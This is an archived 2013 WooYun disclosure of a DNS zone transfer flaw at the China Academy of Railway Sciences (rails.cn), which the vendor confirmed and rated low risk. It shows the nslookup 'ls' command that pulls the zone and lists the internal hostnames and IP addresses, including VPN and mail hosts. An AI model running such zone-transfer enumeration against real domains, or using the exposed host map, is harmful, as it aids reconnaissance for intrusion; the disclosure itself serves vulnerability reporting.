当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-040172

漏洞标题：铁道科学研究院# DNS域传送漏洞一枚

相关厂商：中国铁道科学研究院

漏洞作者： 爱上平顶山

提交时间：2013-10-18 15:50

修复时间：2013-12-02 15:50

公开时间：2013-12-02 15:50

漏洞类型：网络设计缺陷/逻辑错误

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-18： 细节已通知厂商并且等待厂商处理中
2013-10-19： 厂商已经确认，细节仅向厂商公开
2013-10-29： 细节向核心白帽子及相关领域专家公开
2013-11-08： 细节向普通白帽子公开
2013-11-18： 细节向实习白帽子公开
2013-12-02： 细节向公众公开

简要描述：

0.0

详细说明：

中国铁道科学研究院
rails.cn DNS域传送漏洞
信息：
C:\Users\Administrator>nslookup
默认服务器: google-public-dns-a.google.com
Address: 8.8.8.8
> set type=ns
> rails.cn
服务器: google-public-dns-a.google.com
Address: 8.8.8.8
非权威应答:
rails.cn nameserver = dns.rails.cn
rails.cn nameserver = ns.rails.cn
> server dns.rails.cn
默认服务器: dns.rails.cn
Address: 114.255.140.133
> ls rails.cn
[dns.rails.cn]
rails.cn. NS server = ns.rails.c
rails.cn. NS server = dns.rails.
6c A 114.255.140.174
bswb A 114.255.140.186
crh3 A 114.255.140.166
dns A 114.255.140.133
dw A 114.255.140.176
emailserver A 114.255.140.134
ems A 114.255.140.134
emudms A 114.255.140.173
expo A 114.255.140.236
home A 114.255.140.136
lims A 114.255.140.179
mail A 114.255.140.134
ns A 114.255.140.131
pxb A 114.255.140.186
qs A 114.255.140.164
qts A 114.255.140.172
rsd A 114.255.140.163
rsi A 114.255.140.177
simulation A 114.255.140.145
tcds A 114.255.140.167
tdm A 114.255.140.140
tic A 114.255.140.165
tjzz A 114.255.140.230
uc A 114.255.140.198
usp A 114.255.140.233
vpn A 114.255.140.254
web A 114.255.140.135
www A 114.255.140.136
yjs A 114.255.140.186
zj A 114.255.140.186
>

漏洞证明：

C:\Users\Administrator>nslookup
默认服务器: google-public-dns-a.google.com
Address: 8.8.8.8
> set type=ns
> rails.cn
服务器: google-public-dns-a.google.com
Address: 8.8.8.8
非权威应答:
rails.cn nameserver = dns.rails.cn
rails.cn nameserver = ns.rails.cn
> server dns.rails.cn
默认服务器: dns.rails.cn
Address: 114.255.140.133
> ls rails.cn
[dns.rails.cn]
rails.cn. NS server = ns.rails.c
rails.cn. NS server = dns.rails.
6c A 114.255.140.174
bswb A 114.255.140.186
crh3 A 114.255.140.166
dns A 114.255.140.133
dw A 114.255.140.176
emailserver A 114.255.140.134
ems A 114.255.140.134
emudms A 114.255.140.173
expo A 114.255.140.236
home A 114.255.140.136
lims A 114.255.140.179
mail A 114.255.140.134
ns A 114.255.140.131
pxb A 114.255.140.186
qs A 114.255.140.164
qts A 114.255.140.172
rsd A 114.255.140.163
rsi A 114.255.140.177
simulation A 114.255.140.145
tcds A 114.255.140.167
tdm A 114.255.140.140
tic A 114.255.140.165
tjzz A 114.255.140.230
uc A 114.255.140.198
usp A 114.255.140.233
vpn A 114.255.140.254
web A 114.255.140.135
www A 114.255.140.136
yjs A 114.255.140.186
zj A 114.255.140.186
>

修复方案：

ok

版权声明：转载请注明来源 爱上平顶山@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2013-10-19 20:22

厂商回复：

谢谢！

最新状态：

暂无